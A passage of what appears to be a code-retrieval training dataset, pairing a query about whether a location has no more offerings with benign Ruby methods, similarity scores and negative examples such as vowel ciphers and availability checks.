"def double_consonants(string)\n result_string = ''\n string.each_char do |letter|\n (letter =~ /[b-df-hj-np-tv-z]/i) == 0 ? result_string << letter << letter : result_string << letter\n end\n result_string\nend",
"def vowel_cipher(str)\n new_str = ''\n vowel = 'aeiou'\n\n str.each_char do |char|\n if vowel.include?(char)\n old_idx = vowel.index(char)\n new_idx = (old_idx + 1) % vowel.length\n new_str += vowel[new_idx]\n else\n new_str += char\n end\n end\n\n return new_str\nend",
"def vowel_cipher(string)\n \n vowels = \"aeiou\"\n\n new = \"\"\n\n string.each_char do |char|\n if vowels.include?(char)\n # print vowels.index(char)\n mode = vowels.index(char)\n new << vowels[mode - 4]\n else \n new << char\n end \n \n end \n\n return new \nend",
"def censor(sentence, curse_array)\n words = sentence.split(\" \")\n\n words.each.with_index do |word, w_index|\n if curse_array.include?(word.downcase) \n vowels = \"aeiou\"\n \n word.each_char.with_index do |letter, l_index|\n word[l_index] = \"*\" if vowels.include?(letter.downcase) \n end\n \n end\n end\n words.join(\" \")\nend",
"def vowel_cipher(string)\n vowels = \"aeiou\"\n new_arr = []\n string.each_char do |char|\n if vowels.include?(char)\n old_index = vowels.index(char)\n new_index = (old_index + 1)%5\n new_arr << vowels[new_index]\n else\n new_arr << char\n end\n \n end\n new_arr.join(\"\")\nend",
"def consonant_changer(letter)\r\n\tif letter == \"z\"\r\n\t\tnew_letter = \"b\"\r\n\telsif letter == \" \"\r\n\t \tnew_letter = \" \"\r\n\telse\r\n\t\tconsonant_index = \"bcdfghjklmnpqrstvwxyz\".index(letter)\r\n \tnew_letter =\"bcdfghjklmnpqrstvwxyz\"[consonant_index.next]\r\n\tend\r\nend",
"def double_consonants(string)\n double_con_string = []\n string.chars.each do |char|\n if char.match?(/[aeiouAEIOU]/)\n double_con_string << char\n elsif char.match?(/[a-zA-Z]/)\n double_con_string << char << char\n else\n double_con_string << char\n end\n end\n double_con_string.join\nend",
"def vowels_consonant_movement2(name)\n name = name.downcase.split(\" \")\nfirst_name = name[0]\nsecond_name = name[1]\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n vowels = \"aeiou\"\n translated_name = []\n translated_name2 = []\n\n#adjust first name \n x = 0 \n while x < first_name.length\n if first_name[x] == \"z\"\n first_name[x] = \"b\"\n translated_name << first_name[x]\n elsif\n first_name[x] == \"u\"\n first_name[x] = \"a\"\n translated_name << first_name[x]\n \n elsif consonants.include?first_name[x]\n \n new_position = consonants.index(first_name[x]) + 1 \n \n first_name[x] = consonants[new_position]\n translated_name << first_name[x]\n \n elsif vowels.include?first_name[x]\n newer_position = vowels.index(first_name[x]) + 1\n first_name[x] = vowels[newer_position]\n translated_name << first_name[x]\n \n end\n \n x += 1\n end\n \n#adjust second name \n x = 0 \n while x < second_name.length\n if second_name[x] == \"z\"\n second_name[x] = \"b\"\n translated_name2 << second_name[x]\n elsif\n second_name[x] == \"u\"\n second_name[x] = \"a\"\n translated_name2 << second_name[x]\n \n elsif consonants.include?second_name[x]\n \n new_position = consonants.index(second_name[x]) + 1 \n \n second_name[x] = consonants[new_position]\n translated_name2 << second_name[x]\n \n elsif vowels.include?second_name[x]\n newer_position = vowels.index(second_name[x]) + 1\n second_name[x] = vowels[newer_position]\n translated_name2 << second_name[x]\n \n end\n \n x += 1\n end\n \n first_letter = translated_name[0].upcase\n translated_name.delete_at(0)\n translated_name.insert(0, first_letter)\n \n first_letter2 = translated_name2[0].upcase\n translated_name2.delete_at(0)\n translated_name2.insert(0, first_letter2)\n \n return translated_name2.join(\"\") + \" \" + translated_name.join(\"\")\n \n \nend",
"def next_consonant(name)\n\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \n\t\t\"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\tindex = 0\n\tname = name.split('') # string to array\n\tname_change2 = name.map do |letter| \n\t\tif consonants.include? letter \n\t\t\tconsonants.rotate(1)[consonants.index(letter)]\n\t\telse\n\t\t\tletter\n\t\tend\n\tend\n\tname_change2.join\t# new array convert back to string\nend",
"def name_muddler (array)\nvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\nconsonants = \"bcdfghjklmnpqrstvwxyz\"\nconsonant_array = consonants.chars \nnew_name = []\nindex = 0\nwhile index < array.length\n if array[index] == \"u\"\n new_name[index] = \"a\"\n elsif vowels.include?(array[index])\n new_name[index] = vowels[vowels.index(array[index]).next]\n elsif array[index] == \"z\"\n new_name[index] = \"b\"\n else new_name[index] = consonant_array[consonant_array.index(array[index]).next]\n end\n index += 1\nend \nreturn new_name\nend",
"def easy_version\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n 5.times do |i|\n vowel = vowels[i]\n @word.each_with_index do |element, index|\n if element == vowel\n @dashes[index] = vowel\n end\n end\n end\n end",
"def double_consonants(str)\n new_str = ''\n str.each_char do |char|\n if char =~ /[-!aeiou0-9' ']/i\n new_str << char\n else\n new_str << char.concat(char)\n end\n end\n new_str\nend",
"def make_first_half(word)\n last_vowel = -1\n word.each_char { |c|\n if is_vowel?(c)\n # used reverse index to start right to left\n last_vowel = word.rindex(c) \n end\n }\n# Notes from class collaboration:\n# another way to achieve each_char would be to set a loop with word.length and then iterate through that number of characters\n# instead of reverse index, you could reverse the string itself\n# I could have also used break to end the iteration through the word. What I did instead was set up a new variable named last_vowel and that's how I kept my spot and sliced from there\n\n if last_vowel == -1\n return word\n end\n return word.slice(0...last_vowel)\nend",
"def double_consonants(str)\n results = \"\"\n str.each_char do |char| \n if char.downcase =~ /[a-z&&[^aeiou]]/\n results << char * 2 \n else\n results << char\n end\n end\n results\nend",
"def vowel_rotate(str)\n new_word = \"\"\n next_vowel = \"\"\n first_vowel_ind = \"\"\n\n str.each_char.with_index do |char, ind|\n if is_vowel?(char) && next_vowel.empty?\n first_vowel_ind = ind\n next_vowel = char\n new_word += char\n elsif is_vowel?(char)\n new_word += next_vowel\n next_vowel = char\n else\n new_word += char\n end\n end\n new_word[first_vowel_ind] = next_vowel\n new_word\nend",
"def ordered_vowel_words(str)\n final_array = []\n word_array = str.split\n word_array.map do |word|\n if ordered_vowel_word?(word) == true\n final_array.push(word)\n else\n end\n end\n final_array.join(\" \")\nend",
"def first_vowel_word(word)\n vowels = \"aeiou\"\n word.each_char.with_index do |ch, idx|\n if vowels.include?(ch)\n return word[idx..-1]\n end\n end\n\n return word\nend",
"def pig_latin_word(word)\n vowels = 'aeiou'\n\n if vowels.include?(word[0])\n return word + 'yay'\n end\n\n word.each_char.with_index do | char, i |\n if vowels.include?(char)\n return word[i..-1] + word[0...i] + 'ay'\n end\n end\nend",
"def vowel_cipher(string)\n vowels = \"aeiou\"\n string.split(\"\").map do |char|\n if vowels.include?(char)\n old_idx = vowels.index(char)\n new_idx = (old_idx + 1) % vowels.length # 5\n vowels[new_idx] # 2nd example! u -> a ! \n else \n char \n end \n end \nend",
"def translate(words)\n split_words = words.split\n split_words.each_with_index do |word, i|\n # check if first letter is a vowel\n if word[0].include? VOWELS.join\n word = add_ay(word) # add ay to the back of the word\n split_words[i] = word\n\n elsif word[0].include? CONSONANTS\n find_phoneme(word)\n elsif (word[0].include? CONSONANTS) && (word[1].include? CONSONANTS)\n find_phoneme(word)\n elsif (word[0].include? CONSONANTS) && (word[1].include? CONSONANTS) && (word[2].include? CONSONANTS)\n\n # the word has a consonant at the beginning with\n # no special conditions\n else\n word = one_cons_at_beginning(word)\n word = add_ay(word)\n split_words[i] = word\n end\n end\n split_words.join\nend",
"def vowel_finder(word)\n words_vowels = []\n vowel = \"aeiuo\"\n\n word.each_char.with_index do |char,i|\n if vowel.include?(char)\n words_vowels << i\n end\n end\n words_vowels\nend",
"def translate string\n\n\t#This splits the string into an array of words\n\twords = string.split(\" \")\n\t\n\t#Goes through each word in array words\n\tfor i in 0...words.length\n\n\t\t#This splits each word into an array of characters\n\t\tcharacters = words[i].chars\n\n\t\t#If a word begins with a vowel, add \"ay\" to the end of the word\n\t\tif isVowel characters[0]\n\n\t\t\tcharacters.push(\"a\", \"y\")\n\t\t\twords[i] = characters.join(\"\")\n\n\t\t#If a word does not begin with a vowel...\n\t\telse\n\n\t\t\t#While the first character is not a vowel, move it to the back of the word\n\t\t\twhile !(isVowel characters[0])\n\n\t\t\t\t#If the first character is a \"q,\"\n\t\t\t\tif characters[0] == \"q\"\n\n\t\t\t\t\t#and the next character is a \"u,\" push both the \"qu\" to the end\n\t\t\t\t\tif characters[1] == \"u\"\n\n\t\t\t\t\t\tconsonant = characters.shift\n\t\t\t\t\t\tcharacters.push(consonant)\n\t\t\t\t\t\tu = characters.shift\n\t\t\t\t\t\tcharacters.push(u)\n\n\t\t\t\t\tend\n\n\t\t\t\t#Otherwise, just push the first letter to the end\n\t\t\t\telse\n\n\t\t\t\t\tconsonant = characters.shift\n\t\t\t\t\tcharacters.push(consonant)\n\n\t\t\t\tend\n\n\t\t\tend\n\n\t\t\t#Then add \"ay\" to the end of the word\n\t\t\tcharacters.push(\"a\", \"y\")\n\t\t\twords[i] = characters.join(\"\")\n\n\t\tend\n\t\t\n\tend\n\n\t#Joins together all the words with a space in between them and returns the modified string as an answer\n\tanswer = words.join(\" \")\n\treturn answer\n\nend",
"def consonant_changer(name)\n consonant_string = \"bcdfghjklmnpqrstvwxyz\"\n name_array = name.downcase.chars\n new_name = []\n name_array.each do |character|\n if character == \"z\"\n character = \"b\"\n new_name << character\n elsif consonant_string.include? character\n character = consonant_string[consonant_string.index(character) +1]\n new_name << character\n else\n new_name << character\n end\n end\n p new_name.join(\"\").split(\" \").each {|word| word.capitalize!}.join(\" \")\nend"
] | [
"0.7740106",
"0.7559508",
"0.7298511",
"0.72851765",
"0.72481126",
"0.7236133",
"0.7235147",
"0.71451503",
"0.70983225",
"0.7075094",
"0.7036107",
"0.7001227",
"0.69713634",
"0.6934594",
"0.69040334",
"0.68526834",
"0.68111396",
"0.6802874",
"0.6777801",
"0.67281926",
"0.6724405",
"0.67136014",
"0.6695259",
"0.6686997",
"0.6664477",
"0.66551054",
"0.6644496",
"0.6636082",
"0.66346323",
"0.6611665",
"0.65922767",
"0.657846",
"0.65666425",
"0.65562505",
"0.6528346",
"0.6509059",
"0.64956105",
"0.6476385",
"0.6452275",
"0.6450702",
"0.6445429",
"0.64364433",
"0.64338315",
"0.642769",
"0.64136845",
"0.6411374",
"0.64093167",
"0.639688",
"0.6392152",
"0.63803804",
"0.6374328",
"0.637228",
"0.6366232",
"0.63651896",
"0.6360195",
"0.63550353",
"0.63481885",
"0.6334621",
"0.6331872",
"0.63272",
"0.6322678",
"0.63167566",
"0.6312266",
"0.6309625",
"0.6307044",
"0.630202",
"0.62991107",
"0.6295166",
"0.6293528",
"0.6283901",
"0.6279254",
"0.6277203",
"0.6269962",
"0.6260871",
"0.62595654",
"0.6257978",
"0.6257459",
"0.6255486",
"0.62535894",
"0.6253049",
"0.623067",
"0.6223848",
"0.62237805",
"0.6223277",
"0.6220238",
"0.62187153",
"0.6217051",
"0.6213722",
"0.6209723",
"0.6208785",
"0.6208181",
"0.62052083",
"0.6202087",
"0.61970925",
"0.6193134",
"0.6193021",
"0.6189045",
"0.61887896",
"0.6187955",
"0.6182867",
"0.61748123"
] | 0.0 | -1 |
get location display string for infowindow | def get_title_description()
if !self.building_number.nil?
if self.title.include? self.building_number
return "Building " + self.building_number
else
return "Building " + self.building_number + "- " + self.title
end
else
return self.title
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def gmaps4rails_infowindow\n \"<div class='location-infobox'> <a href=/locations/#{location.id}>#{name}</a> <p>Date visited: #{first_date.to_s}</p> <p>Located: #{states}</p> </div>\"\n end",
"def gmaps4rails_infowindow\n \"<h1>#{name}</h1><br>Latitude: #{latitude} Longitude: #{longitude}\"\n end",
"def location\r\n infoxml = get_info\r\n return infoxml.at('location').inner_text\r\n end",
"def location_s\n self.location.to_s\n end",
"def location_string\n if location\n str = location.name\n str += \", \" + location_text unless location_text.blank?\n else\n str = location_text\n end\n str\n end",
"def info\n\t\t\"#{name}, #{location}\"\n\tend",
"def location_description\n LOCATION_DESCRIPTION\n end",
"def location_detail\n\t\t[self.city, self.state, self.country].compact.join(\", \")\n\tend",
"def location_name\n LOCATIONS[location.to_s]\n end",
"def location_name\n LOCATIONS[location.to_s]\n end",
"def location_name\n LOCATIONS[location.to_s]\n end",
"def location_name\n LOCATIONS[location.to_s]\n end",
"def to_s\n location\n end",
"def gmaps_info\n {\n title: name,\n address: location.address\n }\n end",
"def show_location\n\n end",
"def location\n \"#{((street_id.nil? or street.nil?) ? I18n.t('noname') : (street.isempty? ? I18n.t('no-street') : street.name.to_s) + ', ' + (street.city_id.nil? ? I18n.t('no-city') : (street.city_isempty ? I18n.t('no-city') : street.city_name.to_s) + ', ' + ((street.state_id.nil? or street.state_name.empty?) ? I18n.t('no-state') : street.state_name.to_s)))}\"\n end",
"def gmap_location\n # URI.escape([self.address,self.address2,self.city_name,self.region_code,self.postalcode,self.country.name].compact.join(' '))\n [self.address,self.region_name,self.postalcode].compact.join(' ')\n end",
"def gmaps4rails_infowindow\n if occupied\n \"Room Name:#{name} <br>Room Number:#{room_number}<br>Status:Occupied<br> Description: #{description}\"\n else\n \"Room Name:#{name} <br>Room Number:#{room_number}<br>Status:Avaliable<br> Description: #{description}\"\n end\n end",
"def to_s\n @location\n end",
"def to_s\n @location\n end",
"def location\n # and call a private getter method within\n puts \"I live on #{address.split[1]} street.\"\n end",
"def location_code\n text(data.at_xpath(\"#{data_root}/did/physloc\"))\n end",
"def place_name\n if location\n location.display_name\n elsif User.current_location_format == \"scientific\"\n Location.reverse_name(where)\n else\n where\n end\n end",
"def my_location\n\t\t\"#{address}, #{city}, GA\"\n\tend",
"def show\n @location = Location.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html do\n @title = @location.name\n\n @map = GMap.new(\"map_div\")\n @map.control_init(:large_map => true,:map_type => true)\n if(@location.precision == :address)\n @map.center_zoom_init([@location.lat,@location.lng],15)\n else\n @map.center_zoom_init([@location.lat,@location.lng],12)\n end\n\n info_window = render_to_string :partial => \"gmap_info_window\",\n :locals => {:location => @location}\n info_window.gsub!(/\\n/, '')\n\n club = GMarker.new([@location.lat,@location.lng],\n :info_window => info_window)\n @map.record_global_init(club.declare(\"club\"))\n @map.overlay_init(club)\n @map.record_init(\"club.openInfoWindowHtml(\\\"#{club.info_window}\\\");\\n\")\n end\n format.xml { render :xml => @location }\n end\n end",
"def location_detail\n [self.city, self.state].join(\", \")\n end",
"def location\n return [city, state, zip_code].join(\" \")\n end",
"def render_map_location latitude, longitude\n \"#{import_google_places_library}<div style='height: 220px;' class='hook_caller' data-callback='Common.render_location' data-lat='#{latitude}' data-lng='#{longitude}'></div>\".html_safe if latitude && longitude\n end",
"def maps_api_location\n \"#{self.city}+#{self.state.sub(\"International\", \"\")}\".sub(\" \", \"+\")\n end",
"def location_name(coord)\n self.class::LOCATION_NAMES[coord]\n end",
"def location\n [city, state, zip_code].join(\" \")\n end",
"def location\n [city, state, zip_code].join(\" \")\n end",
"def location\n [city, state, zip_code].join(\" \")\n end",
"def get_location_name\n @get_location_name = \"#{self.city}, #{self.province}\"\n end",
"def location\n puts \"I live on #{address.split[-2, 2].join(' ')}\"\n end",
"def location_name\n location ? location.common_name : nil\n end",
"def generate_infowindow(truck)\n render_to_string(:partial => \"/food/infobox\",\n :locals => { applicant: truck.applicant,\n address: truck.address,\n style: \"height:\" +\n (MAPS_INFOWINDOW_PER_ROW_HEIGHT * (truck.applicant.length/MAPS_INFOWINDOW_PER_ROW_CHARS +\n MAPS_INFOWINDOW_DEFAULT_ROWS)).to_s + \"px;\" })\n end",
"def google_location\n \"#{(street.blank? ? '' : street + '<br>')}\n #{(street_no.blank? ? '' : street_no + '<br>')}\n #{(zip.blank? ? '' : zip + ' ')}#{(city.blank? ? '' : city + '<br>')}\n #{(state.blank? ? '' : state + '<br>')}\n #{(country_name.blank? ? '' : country_name)}\".html_safe\n end",
"def print_location\n\t\[email protected]_point\t\n\tend",
"def location_address\n begin\n \"#{cart.line_items.first.menu_section_item.menu_section.menu.location.\n address}, #{cart.line_items.first.menu_section_item.menu_section.menu.\n location.city}, #{cart.line_items.first.menu_section_item.menu_section.\n menu.location.region}\"\n rescue\n \"No current address on record.\"\n end\n end",
"def position_address\n \"#{@data['SIDO']} #{@data['L_SIGUN_GU']} #{@data['L_DONG']} #{@data['GIBUN']}\"\n end",
"def location_label(value)\n value\n end",
"def element_info(context={})\n app = context[:app]\n {:id => 'location', :description => \"#{app.t.content.content_location.description}\"} \n end",
"def gmaps_info\n {\n title: name,\n address: location_address,\n organization_display_name: organization_display_name\n }\n end",
"def location\n c = Country.find_country_by_alpha2(country)\n country_name = !c.nil? ? c.name : nil\n if (postcode and country)\n return postcode + \", \" + (country_name or country)\n else\n return (postcode or country_name or country)\n end\n end",
"def location_s\n # Order matters.\n [\n location[:address],\n location[:city],\n location[:state_acronym],\n location[:country]\n ].compact.join(\", \")\n end",
"def show\n @mapURL = map_url(@location.address)\n render :show\n end",
"def get_location(str)\n u=URI.encode(\"http://maps.google.com/maps/api/geocode/xml?sensor=false&address=#{str}\")\n loc=(Hpricot.XML(open(u)))/'//location'\n h={} \n h['lat']=(loc/:lat).inner_text\n h['lng']=(loc/:lng).inner_text\n h\n end",
"def address_information_label\n $tracer.trace(__method__)\n return ToolTag.new(div.className(create_ats_regex_string(\"ats-wis-addressinfolbl\")), __method__)\n end",
"def location\n country = Carmen::Country.coded(self.country)\n if country.present? && self.state.present?\n location = country.subregions? ? country.subregions.coded(self.state).name : self.state\n location += \", \"\n else\n location = ''\n end\n country.present? ? location + country.name : nil\n end",
"def place_string\n \t\t\"#{self.city}, #{self.country}\"\n \tend",
"def location_info(location = locations.first)\n if location\n location.full_location\n else\n []\n end\n end",
"def venue_location\n major_geo = self.state || self.country\n [self.city, major_geo].compact.join(\", \")\n end",
"def location_format_gnip\n unless @lat.nil? || @long.nil? || @radius.nil?\n location = \"point_radius:[#{@long} #{@lat} #{@radius}]\"\n # prepend space for the rule if hashtags have been set\n location.prepend(\" \") if @hashtags.any?\n location\n else\n ''\n end\n end",
"def name\n @location.name\n end",
"def get_location\n\n end",
"def name_with_location\n return \"#{self.name} in #{self.city.name}, #{self.state.abbreviation}\"\n end",
"def geolocate\n \"#{self.address}\"', '\"#{self.state}\"', '\"#{self.zipcode}\"\n end",
"def location_name\n pos = @state[\"position\"]\n pos ? pos.split(\"#\",2)[0] : nil\n end",
"def gmaps4rails_address\n \"#{latitude}, #{longitude}\"\n end",
"def location\n fetch('hey_arnold.locations')\n end",
"def location\n self.well_info.location\n end",
"def location_bar\n\tresult = Geocoder.search(\"#{params['latitude']},#{params['longitude']}\")\n\taddress = result.first.data[\"formatted_address\"]\n\trender html: address\nend",
"def get_location_name(location_data, last_location_name)\n data_name = location_data[\"MileMarkerName\"]\n data_name != \"\" ? data_name : last_location_name\n end",
"def location\n fetch('sword_art_online.location')\n end",
"def inspect\n \"#<OmniShip::UPS::Track::Activity location=#{location.address}>\"\n end",
"def map_description\n return \"Map of airport locations and number of visits, created by Paul Bogard’s Flight Historian\"\n end",
"def site_map\n if site_location\n loc = URI.escape(site_location)\n <<-EOD\n <a href=\"http://maps.google.com/?q=#{loc}\" target=\"x-map\">#{site_location}</a>\n EOD\n end\n end",
"def gen_marker(marker)\n marker.lat object.latitude\n marker.lng object.longitude\n link = h.link_to object.title, object\n info = \"#{link}<br>#{short_details}\"\n marker.infowindow info\n end",
"def ll\n \"#{lat},#{lng}\"\n end",
"def ll\n \"#{lat},#{lng}\"\n end",
"def based_near\n descMetadata.has_location #.map(&:location_name).flatten\n end",
"def organism_place_name\n if places.first\n places.first.name\n elsif location\n location\n end\n end",
"def location_heading\n LOCATION_HEADING\n end",
"def location\n\t\tif machine.blank?\n\t\t\t\"Location Unknown\"\n\t\telsif usage.blank?\n\t\t\t\"#{machine.name}\"\n\t\telse\n\t\t\t\"#{machine.name} (#{usage})\"\n\t\tend\n\tend",
"def city_and_country\n \"#{self.location.city} - #{self.location.country}\"\n end",
"def location\n result_hash['loc']\n end",
"def display_searched\n\t\tlocation = Location.find_by(id: params[:id])\n\t\t@location_id = location.id\n\t\t@trip_id = location.trip_id\n\t\t# shows location that was searched\n\t\t@hash = Gmaps4rails.build_markers(location) do |location, marker|\n \t\t\tmarker.lat location.to_coordinates[0]\n \t\t\tmarker.lng location.to_coordinates[1]\n \t\t\tmarker.infowindow location.description\n \t\t\tmarker.picture({\n \t\"url\" => \"http://i.imgur.com/1OCtNP3.png\",\n \t\"width\" => 36,\n \t\"height\" => 36})\n\t\tend\n\tend",
"def geolocate \n Zoogle.graveyard_locator(self.graveyard)\n \"#{loc[:latitude]}, #{loc[:longitude]}\"\n end",
"def location\n { latLng: [lat, lng], name: name, status: name.downcase.to_s }\n end",
"def location\n { latLng: [lat, lng], name: name, status: event_types.first.name.downcase.to_s }\n end",
"def location\n translate! attribute('yweather:location')\n end",
"def get_location_marker(location, render_open = false, draggable = false)\n {\n \"id\" => location.id,\n \"lat\" => location.latitude,\n \"lng\" => location.longitude,\n \"iconClass\" => location.location_type.map_icon_name,\n \"title\" => location.name,\n \"zindex\" => 1,\n \"open\" => render_open,\n \"draggable\" => false,\n \"description\" => render_to_string(:partial => \"/locations/map_popup\", :locals => { :location => location })\n }\n end",
"def location\n fetch('simpsons.locations')\n end",
"def physical_location_str\n mods_ng_xml._location.physicalLocation.map(&:text).find do |text|\n text =~ /.*(Series)|(Accession)|(Folder)|(Box).*/i\n end\n end",
"def info_content\n\n info = []\n info << \"<b>\" + @place[:title].escape_html + \"</b>\"\n unless $params.election_description.empty?\n info << \"<i>\" + $params.election_description.escape_html + \"</i>\"\n info << \"\"\n end\n\n a = \"#{@place[:name]}, #{@place[:street]}, #{@place[:city]}, #{@place[:state]} #{@place[:zip]}\"\n info << \"<a href=\\\"http://maps.google.com/?daddr=#{a.escape_uri}\\\" target=\\\"_blank\\\">#{@place[:name].escape_html}</a>\"\n info << @place[:street].escape_html\n info << \"#{@place[:city]}, #{@place[:state]} #{@place[:zip]}\".escape_html\n info << \"\"\n info << \"Hours of operation:\"\n info += @place[:schedule_formatted].escape_html.split(\"\\n\").map {|s| \"\\u2022 \" + s}\n unless @place[:notes].empty?\n info << \"\"\n info << @place[:notes].escape_html\n end\n unless $params.election_info.empty?\n info << \"\"\n info << $params.election_info\n end\n info.join(\"\\n\")\n end",
"def disp_greet\n case self.address\n when \"沖縄\"\n \"ゆたしくうにげーさびら\"\n when \"福岡\"\n \"よろしゅうお願いするけんね\"\n when \"京都\"\n \"よろしく頼んまっせ\"\n when \"大阪\"\n \"よろしゅう頼んまっせ\"\n else\n \"よろしくお願いします\"\n end\n end",
"def location\n @gapi[\"location\"]\n end",
"def get_location(loc)\n geo = Geocoder.search(\"#{loc} seattle\")\n lat = geo[0].latitude\n lon = geo[0].longitude\n [lon, lat]\n end",
"def to_s\n \"#{identity} (#{latitude}; #{longitude})\"\n end",
"def location\n\t\treturn \"line %s, column %s\" % [\n\t\t\tself.linenum || '??',\n\t\t\tself.colnum || '??',\n\t\t]\n\tend",
"def location\n ensure_full_data!\n @gapi[\"location\"]\n end",
"def location\n fetch('how_to_train_your_dragon.locations')\n end",
"def location\n \"#{@position} #{DIRECTIONS[@orientation]}\"\n end",
"def show_info\n\t\tputs \"Your start station: #{starting_point}\"\n\t\tputs \"Your destination: #{ending_point}\"\n\t\tputs \"Travel time: ___\"\n\t\tputs \"Price: ____\"\n\tend",
"def format_campus_location(campus)\n # TODO (Step 2) - Fix, not showing name.\n \"Flatiron #{campus[:name]}\"\nend",
"def map_description\n return \"Map of flight routes, created by Paul Bogard’s Flight Historian\"\n end",
"def map_description\n return \"Map of flight routes, created by Paul Bogard’s Flight Historian\"\n end",
"def get_geocoded_marker(geoloc, render_open = false, draggable = false)\n {\n \"id\" => geoloc.id,\n \"lat\" => geoloc.latitude,\n \"lng\" => geoloc.longitude,\n \"iconClass\" => geoloc.icon_class,\n \"title\" => geoloc.name,\n \"zindex\" => 1,\n \"open\" => render_open,\n \"draggable\" => false,\n \"description\" => render_to_string(:partial => \"shared/geocoded_popup\", :locals => { :geoloc => geoloc })\n }\n end",
"def location\n fetch('rick_and_morty.locations')\n end",
"def geolocalization\n output = \"\".html_safe\n if question && question.position\n output << hidden_field_tag(\"question[position][lat]\", question.position[\"lat\"], :class => \"lat_input\")\n output << hidden_field_tag(\"question[position][long]\", question.position[\"long\"], :class => \"long_input\")\n end\n output\n end"
] | [
"0.77931225",
"0.7434446",
"0.70734817",
"0.70160294",
"0.6988533",
"0.6876871",
"0.6782313",
"0.67746544",
"0.67471105",
"0.67471105",
"0.67471105",
"0.67471105",
"0.6676378",
"0.6648519",
"0.66036433",
"0.659076",
"0.6589225",
"0.65853107",
"0.65673053",
"0.65673053",
"0.6561603",
"0.65027004",
"0.6500397",
"0.6498381",
"0.64768034",
"0.6473344",
"0.64448917",
"0.64376056",
"0.64267826",
"0.6418888",
"0.6404143",
"0.6404143",
"0.6404143",
"0.63827306",
"0.6374615",
"0.63710773",
"0.63516027",
"0.62937176",
"0.62930495",
"0.62905717",
"0.6287902",
"0.6242509",
"0.6231454",
"0.6204113",
"0.6198776",
"0.61824507",
"0.61804485",
"0.6177755",
"0.616418",
"0.61514354",
"0.6150115",
"0.61478823",
"0.61379814",
"0.61333364",
"0.6117796",
"0.6114213",
"0.61000174",
"0.60853815",
"0.6058063",
"0.6019982",
"0.6019675",
"0.60132515",
"0.6010387",
"0.60066754",
"0.60020053",
"0.59914273",
"0.59873503",
"0.5975103",
"0.5970696",
"0.59644836",
"0.59644836",
"0.59543484",
"0.5932846",
"0.59195584",
"0.5918108",
"0.59155196",
"0.59123445",
"0.59022266",
"0.58999455",
"0.58969843",
"0.5896306",
"0.58900714",
"0.5872457",
"0.5872054",
"0.5865382",
"0.58423233",
"0.5840989",
"0.58342075",
"0.582918",
"0.5827779",
"0.58192044",
"0.5816878",
"0.5806633",
"0.58012307",
"0.57941866",
"0.5793026",
"0.57899266",
"0.57899266",
"0.5786205",
"0.57746786",
"0.57700735"
] | 0.0 | -1 |
returns true if this location has no more offerings | def isEmpty?
return self.offerings.count == 0
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def no_more?\n return false unless @eligibles.empty?\n NO_MORE\n end",
"def has_onsite_holdings?\n return false unless self[:location_facet].present?\n\n # consider each location for this record....\n self[:location_facet].each do |location_facet|\n # skip over anything that's offsite...\n next if location_facet =~ /^Offsite/\n next if location_facet =~ /ReCAP/i\n\n # skip over Online locations (e.g., just links)\n next if location_facet =~ /Online/i\n\n # If we got here, we found somthing that's onsite!\n return true\n end\n\n # If we dropped down to here, we only found offsite locations.\n false\n end",
"def has_offsite_holdings?\n return false unless self[:location_facet].present?\n\n # string regexp against the location field\n self[:location_facet].each do |location_facet|\n return true if location_facet =~ /^Offsite/\n return true if location_facet =~ /ReCAP/i\n # (this should not really happen)\n return true if location_facet =~ /scsb/i\n end\n\n # No offsite location found\n false\n end",
"def no_appts_avail?\n appointments.empty?\n end",
"def no_more_offers?\n message = first('#message')\n message && message.text == \"Come back later for more offers.\"\n end",
"def has_shopped?\n self.points_entries.purchases.count > 0\n end",
"def available?\n self.available_product_supplies.length > 0 and not self.delete?\n end",
"def has_places?\n capacity > 0\n end",
"def offer_available?\n #return self.approved? && self.offers.last.present? && self.offers.last.effective?\n return self.offers.last.present? && self.offers.last.effective?\n end",
"def no_more?\n more_results == :NO_MORE_RESULTS\n end",
"def available?\n self.available_count > 0\n end",
"def check_free_venue\n if @total >= 20\n return true\n end\n end",
"def mainly_portal_offers? offers\n (offers.map { |o| o if o.encounter == 'portal' }.compact.count.to_f /\n offers.count.to_f) >= 0.6\n end",
"def no_delivery?\n self.distance == NO_DISTANCE\n end",
"def maximum_no_of_people_reached?(ride_offer)\n signed_up_counts = RideOfferInterest.signed_up_counts(@ride_offer.id)\n true if signed_up_counts == ride_offer.no_of_people\n end",
"def sold_out?(num_sold)\n total_available.nil? ? false : (num_sold >= total_available)\n end",
"def has_ads?\n self.ads.count == 0\n end",
"def has_ads?\n self.ads.count == 0\n end",
"def offers_reward?\n !self.rewards.visible.empty?\n end",
"def any_requested_booking_not_confirmed?\n count = 0\n index\n @requested_bookings.each do |booking|\n count += 1 if !booking.confirmed\n end\n true if count.positive?\n end",
"def is_available?\n count_available > 0\n end",
"def should_be_store?\n listings.where(state: ['active', 'draft', 'removed', 'sold']).count >= 10\n end",
"def is_greedy?(location)\n !@fixed_cost.include? location\n end",
"def sold_out?\n spots_left.zero?\n end",
"def is_empty\n self.openings == @size\n end",
"def over_capacity?\n @passengers.length > @capacity\n end",
"def available?\n if @available_rooms.length > 0\n return true\n end\n end",
"def deletable?\n return pallets.includes(:reservations).all.all? do |pallet|\n (customer.last_count.nil? or pallet.arrived_at > customer.last_count) and pallet.reservations.empty?\n end\n end",
"def waiver?\n free_agent? && !waiver_bid\n end",
"def here?\n @locations.any?(&:here)\n end",
"def offerings\n []\n end",
"def rooms_available?\n return @available_rooms.length > 0\n end",
"def has_items?\n total_items > 0\n end",
"def has_items?\n total_items > 0\n end",
"def tour_available?\n self.tour_credits > 0 || self.tours_unlimited\n end",
"def can_receive_bids?\n is_parent_offer? && bids.empty?\n end",
"def available?(location)\n check_location(location)\n\n if [:gatehouse_left, :gatehouse_right].include?(location)\n direction = (location == :gatehouse_left) ? :left : :right\n !(places.fetch(location)) && board.gatehouse_available?(self, direction)\n else\n !(places.fetch(location))\n end\n end",
